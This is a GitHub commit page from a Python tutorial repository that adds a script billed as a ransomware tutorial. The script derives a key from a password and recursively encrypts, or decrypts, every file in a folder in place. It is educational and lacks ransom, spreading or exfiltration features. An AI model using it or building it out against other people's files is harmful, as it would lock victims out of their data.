Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit69cd2d5

Browse files
committed
add ransomware tutorial
1 parent5235cff commit69cd2d5

File tree

4 files changed

+146
-0
lines changed

4 files changed

+146
-0
lines changed

‎README.md‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
3737
-[How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python). ([code](ethical-hacking/get-wifi-passwords))
3838
-[How to Make a MAC Address Changer in Python](https://www.thepythoncode.com/article/make-a-mac-address-changer-in-python). ([code](ethical-hacking/mac-address-changer))
3939
-[How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python). ([code](ethical-hacking/password-generator))
40+
-[How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python). ([code](ethical-hacking/ransomware))
4041

4142
-###[Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
4243
-###[Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
#[How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python)
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
importpathlib
2+
importsecrets
3+
importos
4+
importbase64
5+
importgetpass
6+
7+
importcryptography
8+
fromcryptography.fernetimportFernet
9+
fromcryptography.hazmat.primitives.kdf.scryptimportScrypt
10+
11+
12+
defgenerate_salt(size=16):
13+
"""Generate the salt used for key derivation,
14+
`size` is the length of the salt to generate"""
15+
returnsecrets.token_bytes(size)
16+
17+
18+
defderive_key(salt,password):
19+
"""Derive the key from the `password` using the passed `salt`"""
20+
kdf=Scrypt(salt=salt,length=32,n=2**14,r=8,p=1)
21+
returnkdf.derive(password.encode())
22+
23+
24+
defload_salt():
25+
# load salt from salt.salt file
26+
returnopen("salt.salt","rb").read()
27+
28+
29+
defgenerate_key(password,salt_size=16,load_existing_salt=False,save_salt=True):
30+
"""Generates a key from a `password` and the salt.
31+
If `load_existing_salt` is True, it'll load the salt from a file
32+
in the current directory called "salt.salt".
33+
If `save_salt` is True, then it will generate a new salt
34+
and save it to "salt.salt" """
35+
ifload_existing_salt:
36+
# load existing salt
37+
salt=load_salt()
38+
elifsave_salt:
39+
# generate new salt and save it
40+
salt=generate_salt(salt_size)
41+
withopen("salt.salt","wb")assalt_file:
42+
salt_file.write(salt)
43+
# generate the key from the salt and the password
44+
derived_key=derive_key(salt,password)
45+
# encode it using Base 64 and return it
46+
returnbase64.urlsafe_b64encode(derived_key)
47+
48+
49+
defencrypt(filename,key):
50+
"""Given a filename (str) and key (bytes), it encrypts the file and write it"""
51+
f=Fernet(key)
52+
withopen(filename,"rb")asfile:
53+
# read all file data
54+
file_data=file.read()
55+
# encrypt data
56+
encrypted_data=f.encrypt(file_data)
57+
# write the encrypted file
58+
withopen(filename,"wb")asfile:
59+
file.write(encrypted_data)
60+
61+
62+
defencrypt_folder(foldername,key):
63+
# if it's a folder, encrypt the entire folder (i.e all the containing files)
64+
forchildinpathlib.Path(foldername).glob("*"):
65+
ifchild.is_file():
66+
print(f"[*] Encrypting{child}")
67+
# encrypt the file
68+
encrypt(child,key)
69+
elifchild.is_dir():
70+
# if it's a folder, encrypt the entire folder by calling this function recursively
71+
encrypt_folder(child,key)
72+
73+
74+
defdecrypt(filename,key):
75+
"""Given a filename (str) and key (bytes), it decrypts the file and write it"""
76+
f=Fernet(key)
77+
withopen(filename,"rb")asfile:
78+
# read the encrypted data
79+
encrypted_data=file.read()
80+
# decrypt data
81+
try:
82+
decrypted_data=f.decrypt(encrypted_data)
83+
exceptcryptography.fernet.InvalidToken:
84+
print("[!] Invalid token, most likely the password is incorrect")
85+
return
86+
# write the original file
87+
withopen(filename,"wb")asfile:
88+
file.write(decrypted_data)
89+
90+
91+
defdecrypt_folder(foldername,key):
92+
# if it's a folder, decrypt the entire folder
93+
forchildinpathlib.Path(foldername).glob("*"):
94+
ifchild.is_file():
95+
print(f"[*] Decrypting{child}")
96+
# decrypt the file
97+
decrypt(child,key)
98+
elifchild.is_dir():
99+
# if it's a folder, decrypt the entire folder by calling this function recursively
100+
decrypt_folder(child,key)
101+
102+
103+
if__name__=="__main__":
104+
importargparse
105+
parser=argparse.ArgumentParser(description="File Encryptor Script with a Password")
106+
parser.add_argument("path",help="Path to encrypt/decrypt, can be a file or an entire folder")
107+
parser.add_argument("-s","--salt-size",help="If this is set, a new salt with the passed size is generated",
108+
type=int)
109+
parser.add_argument("-e","--encrypt",action="store_true",
110+
help="Whether to encrypt the file/folder, only -e or -d can be specified.")
111+
parser.add_argument("-d","--decrypt",action="store_true",
112+
help="Whether to decrypt the file/folder, only -e or -d can be specified.")
113+
# parse the arguments
114+
args=parser.parse_args()
115+
# get the password
116+
ifargs.encrypt:
117+
password=getpass.getpass("Enter the password for encryption: ")
118+
elifargs.decrypt:
119+
password=getpass.getpass("Enter the password you used for encryption: ")
120+
# generate the key
121+
ifargs.salt_size:
122+
key=generate_key(password,salt_size=args.salt_size,save_salt=True)
123+
else:
124+
key=generate_key(password,load_existing_salt=True)
125+
# get the encrypt and decrypt flags
126+
encrypt_=args.encrypt
127+
decrypt_=args.decrypt
128+
# check if both encrypt and decrypt are specified
129+
ifencrypt_anddecrypt_:
130+
raiseTypeError("Please specify whether you want to encrypt the file or decrypt it.")
131+
elifencrypt_:
132+
ifos.path.isfile(args.path):
133+
# if it is a file, encrypt it
134+
encrypt(args.path,key)
135+
elifos.path.isdir(args.path):
136+
encrypt_folder(args.path,key)
137+
elifdecrypt_:
138+
ifos.path.isfile(args.path):
139+
decrypt(args.path,key)
140+
elifos.path.isdir(args.path):
141+
decrypt_folder(args.path,key)
142+
else:
143+
raiseTypeError("Please specify whether you want to encrypt the file or decrypt it.")
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
cryptography

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp